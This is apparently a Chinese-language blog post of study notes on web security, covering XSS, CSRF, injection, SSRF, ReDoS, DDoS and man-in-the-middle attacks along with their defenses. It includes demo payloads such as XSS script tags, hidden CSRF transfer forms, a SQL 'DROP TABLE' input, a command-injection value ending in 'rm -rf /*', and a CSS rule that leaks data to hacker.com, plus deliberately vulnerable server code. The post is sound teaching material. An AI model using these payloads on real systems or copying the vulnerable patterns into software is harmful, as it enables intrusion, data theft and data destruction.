Web 開發的安全之旅

Sonui發表於2024-07-17

在青訓營的學習中學到的一些Web開發中的安全問題以及防禦方法,將對這些內容進行總結。

攻擊篇

XSS(跨站指令碼攻擊)

原理

開發者盲目資訊使用者傳遞的資訊而不做處理

當使用者輸入時,開發者盲目的把使用者輸入的資訊傳遞給伺服器,伺服器把使用者輸入的資訊轉換成HTML標籤,然後把轉換後的HTML標籤傳遞給使用者

特點

  • 難以感知 沒有UI呈現
  • 竊取使用者資訊(cookies / token)
  • 繪製 UI (例如彈窗), 誘使使用者填寫私密資訊

案例

儲存型XSSI(Stored XSS)
  • 惡意指令碼被儲存在資料庫中
  • 訪問頁面 -> 讀資料 = 執行惡意指令碼被攻擊
  • 危害性極大, 可對所有訪問這個頁面的使用者進行攻擊
public async submit(ctx) {
    const { content, id } = ctx.request.body; // 沒有對content 過濾
    await db.save({
        content,
        id
    });
}
public async render(ctx) {
    const { content } = await db.query({
        id: ctx.query.id
    });
// 沒有對content 過濾
ctx.body = `<div>${content}</div>`;
}

當有使用者惡意提交 <script>alert(1)</script> 時,瀏覽者訪問頁面會讀取到 <script>alert(1)</script>,並且會執行 alert(1)


<!-- 正常 -->
<div>Hello</div>

<!-- xss攻擊 -->
<div><script>alert(1)</script></div>

反射型XSS(Reflected XSS)
  • 不涉及資料庫
  • 從 URL 上攻擊
public async render(ctx) {
    const { content } = ctx.query; // 沒有對content 過濾
    ctx.body = `<div>${content}</div>`;
}

當使用者訪問 http://localhost:3000/?content=<script>alert(1)</script> 時,頁面會生成 <script>alert(1)</script>,使用者訪問後執行 alert(1)

DOM-based XSS

完全不需要伺服器參與

惡意攻擊的發起 + 執行都在瀏覽器完成

const content = new URL(location.href).searchParams.get('content'); // 沒有對content 過濾
document.querySelector('div').innerHTML = content;

當使用者訪問http://localhost:3000/?content=<script>alert(1)</script> 時,介面讀取URL引數時會讀取到 <script>alert(1)</script> 插入到頁面中發從而執行惡意指令碼

Mutation-based XSS
  • 利用了瀏覽器渲染DOM的特性
  • 不同的瀏覽器會有不同的實現,按瀏覽器進行攻擊

<!-- XSS檢查器: 無問題 -->
<noscript>
    <p title="</noscript><img src=x onerror=alert(1)>">

<!-- 渲染後 -->

<div>
<noscript>
    <p title="</noscript>
    <img src="x" onerror="alert(1)">
    "">"
</div>

Cross-site request forgery(CSRF)

  • 在使用者不知情的前提下
  • 利用使用者許可權(Cookies)
  • 構造指定HTTP請求,竊取或修改使用者敏感資訊

示例

{% asset_img "9ab53341a3324607ab5bcda094d76e79~tplv-k3u1fbpfcp-watermark.png" %}

<!-- 使用者點選 -->
<!-- 點選後向駭客轉賬100元 -->
<a href="http://bank.com/transfer?to=hacker&amount=100"> 點我抽獎 </a>

<!-- 使用者訪問後執行 -->
<!-- 載入圖片時向駭客轉賬100元 -->
<img style="display:none" src="http://bank.com/transfer?to=hacker&amount=100">


<!-- 表單 -->
<!-- 表單隱藏使用者無法發現 -->
<form action="http://bank.com/transfer" method="POST">
    <input type="hidden" name="to" value="hacker">
    <input type="hidden" name="amount" value="100">
</form>

注入

SQL 注入

{% asset_img "04975e27e5d84a02be6baf32b6367285~tplv-k3u1fbpfcp-watermark.png" %}

public async renderForm(ctx) {
    const { username, form_id } = ctx.query;
    const sql = `SELECT * FROM users WHERE username='${username}'
    AND form_id='${form_id}'`;
    const users = await db.query(sql);
    ctx.body = users;
}

當使用者輸入使用者名稱為 any; DROP TABLE table 時,資料庫會執行 SELECT * FROM users WHERE username=' any; DROP TABLE table',從而造成刪庫

其它

  • CLI
  • OS command
  • Server-side Request Forgery(SSRF), 服務端偽造請求 (嚴格意義上非注入,但原理類似)
執行
// 用於轉換影片
public async convertVideo(ctx) {
    const { video, options } = ctx.query;
    exec(`convert-cli ${video} ${options}`);
    ctx.body = 'ok';
}

當使用者請求引數為 http://localhost:3000/?video=video.mp4&options=&& rm -rf /* 時,會執行 convert-cli video.mp4 && rm -rf /* 從而造成伺服器上的檔案被刪除

讀取修改

重要檔案被暴露

  • /etc/passwd
  • /etc/shadow
  • ~/.ssh
  • /etc/apache2/httpd.conf
  • /etc/nginx/nginx.conf
  • 其它私密檔案...

假如駭客可以修改nginx.conf檔案,新增一個反向代理

location / {
    proxy_pass http://localhost:3000;
}

駭客將我們網站的訪問流量轉發到其競爭對手,從而造成競爭對手伺服器流量過大而當機

SSRF
public async webhook(ctx) {
    // callback 可能是內網 URL
    // e.g http://secret.com/get_employ_payrolls
    ctx.body = await fetch(ctx.query.callback);
}

DoS

原理

透過構造某種特殊的請求,導致伺服器資源被顯著消耗,來不及響應更多請求,導致請求積壓,進而造成雪崩效應

案例

知識補充

const greedyRegExp = /a+/  // 有多少匹配多少
const nonGreedyRegExp = /a+?/  // 有一個就行
const str = "aaaaaaaaaaaa";
console.log(str.match(greedyRegExp)[0])
console.log(str.match(nonGreedyRegExp)[0])

有以下正規表示式
^((ab)*)+$

執行過程中存在的問題

{% asset_img "dfe511d3a3bf46caaff1992a9c02a826~tplv-k3u1fbpfcp-watermark.image.png" %}

大量的回溯會造成響應時間大大加長,介面吞吐量也會隨之下降

需要注意的地方

  • 耗時的同步操作
  • 資料庫寫入
  • SQL join
  • 檔案備份
  • 迴圈執行邏輯

DDoS

原理

短時間內傳送大量重複請求,造成伺服器處理堵塞請求堆積,導致伺服器雪崩從而無法響應新請求

特點:量大、攻擊手段簡單、破壞性嚴重

案例

攻擊者修改TCP傳送大量SYN包,但不響應伺服器ACK + SYN包,導致伺服器無法釋放連線從而堵塞

{% asset_img "41cdaaf3fb8042ce8ef2eeac761b0e0c~tplv-k3u1fbpfcp-watermark.image.png" %}

中間人攻擊

原理

環境

  • 明文傳輸
  • 資訊纂改不可知
  • 對方身份未驗證
graph LR; A[客戶端] B[中間人] C[伺服器] A-->B; B-->C; C-->B; B-->A;

在這個圖裡,中間人竊取或纂改客戶端與服務端互動的資訊,從而導致資訊洩露

防禦篇

XSS

守則

  • 永不信任外部傳入資料
  • 不要將使用者提交內容直接轉換為DOM

工具

  • 主流框架預設防禦XSS
  • Google-closure-library
  • DOMPurify

無法避免動態生成DOM

當存在需求無法避免動態生成DOM時,注意以下幾點

DOM

對字元進行轉義

SVG

允許上傳圖片時也要注意對SVG進行掃描

自定義跳轉連線

當允許使用者自定義跳轉連線時,需要對跳轉連線進行過濾防範,例如<a herf="javascript:alert(0)"> 存在危險

自定義樣式

當有表單radio被點選時觸發get請求, 暴露收入情況

input[type=radio].income-ge10k {
    background: url("http://hacker.com/?income=gt10k");
}

CSRF

同源策略

當滿足以下條件時,瀏覽器認為同源,否則跨域

  • 協議相同
  • 域名相同
  • 埠相同

如果發生跨域,看伺服器是否支援CORS

Content Security Policy(CSP)

內容安全策略定義哪些源或域名是安全的,來自安全源的指令碼可以執行,否則報錯

對eval + inline scipt 說不

伺服器端設定
Content-Security-Policy: script-src 'self' 同源允許
Content-Security-Policy: script-src 'self' https://domain.com 在同源之外允許該域指令碼執行
前端設定
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
<meta http-equiv="Content-Security-Policy" content="script-src 'self' https://domain.com">

防禦

檢查請求頭部

當偽造請求為異常來源時,就限制請求

在同源請求中,GET和HEAD不傳送Origin頭部,POST傳送Origin頭部

不論什麼請求都帶有Referer頭部

token

思路:先有頁面,後有請求

  • 在頁面中生成一個token,每次請求都帶上這個token
  • 在請求中檢查token,如果不一致,則拒絕請求
iframe攻擊

透過iframe構造頁面,在其放欲攻擊的頁面,然後放一個按鈕,當點選按鈕時會穿透到攻擊頁面

export default function App() {
    const onContentClick = () => console.log('content click');
    const onButtonClick = () => console.log('button click');
    return (
        <div>
            <button onClick={onButtonClick}>按鈕</button>
            <div class="oncontent" onClick={onContentClick}>
                content
            </div>
        </div>
    );
    )
}

當點選時日誌會出現 button click

防禦手段:

透過設定X-Frame-Options: DENY/SAMEORIGIN,阻止iframe構造頁面

DENY為禁止 SAMEORIGIN為同源才可構造

職責分開

GET !== GET + POST

不應當即響應GET,又響應POST,很容易造成使用者資訊洩露甚至纂改,應當分為兩個處理

錯誤示範

public async getAndUpdate(ctx) {
    const { update, id } = ctx.query;
    if (update){
        await this.update(update);
    }
    ctx.body = await this.get(id);
}

限制cookie

我的頁面cookie只能在我的頁面中使用

其它頁面cookie都不能帶上我的cookie

從根源上解決CSRF

限制的是

  1. Cookie domain
  2. 頁面域名

伺服器端設定
Set-Cookie: SameSite=None; Secure;

防禦CSRF的正確姿勢

透過中介軟體來過濾

注入

SQL隱碼攻擊

使用prepared statement

預編譯語句

PREPARE q FROM 'SELECT * FROM users WHERE id = ?';
SET @gender = 'female';
EXECUTE q USING @gender
DEALLOCATE PREPARE q;

exec

最小原則
不要給sudo或者root

建立允許名單 + 過濾
例如禁止rm

對URL型別引數進行協議、域名、ip等限制
例如禁止訪問內網

DoS

正則

完善程式碼review工作,避免使用貪婪匹配,特別是在介面處理上

程式碼掃描 + 正則效能測試

不要使用使用者提供的正則

DDoS

  1. 流量治理
  • 負載均衡
  • API 閘道器
  • CDN
  1. 快速自動擴容
  2. 非核心業務降級

在負載均衡及 API 閘道器處可以進行流量識別過濾掉異常請求

透過CDN、快速自動擴容、非核心業務降級進行抗量,提高伺服器承載能力

中間人

使用HTTPS加密傳輸內容

HTTPS特性:

  • 可靠性:加密
  • 完整性:MAC驗證
  • 不可抵賴性:數字簽名 確保雙方身份

HTTPS握手過程略

完整性
伺服器在內容中加入hash資訊,客戶端收到後重新計算並校驗hash

數字簽名
私鑰簽名,公鑰驗證

不可抵賴性
存在一個CA(證書機構), 服務方會將一些元資訊以及公鑰合併成一個資訊,使用CA提供的私鑰對證書進行簽名,形成伺服器端儲存的證書,這個證書傳遞給瀏覽器,瀏覽器利用CA公鑰進行校驗,如果校驗成功,則證書有效

瀏覽器會大量內建各個CA公約

也要注意防止證書籤名演算法不夠健壯時仍有證書風險

SRI

可以防範CDN被hack

<script src="https://demo.com/script.js" integrity="sha384-{some-hash-value}"></script>


<!-- 虛擬碼 -->
<scipt lang="javascript">
    const remoteHash = hash(content);
    if (tagHash !== remoteHash) {
        throw new Error('Hash mismatch');
    }
</script>

Other

瀏覽器:

Feature-Policy/Permission-Policy

一個源(頁面),可以使用哪些功能,例如麥克風、攝像頭等

  • camera
  • microphone
  • geolocation
  • autoplay
    ...

當使用iframe時,可以使用<iframe allow="..."> 來設定

尾聲

總結

  • 安全無小事
  • 使用的依賴也可能成為被攻破的一環
  • 保持學習的心態

推薦閱讀

Web Application Security: Exploitation and Countermeasures for Modern Web Applications

SameSite 那些事

關於 Web 安全突然想到的 #32

什麼是 DDoS 攻擊?

相關文章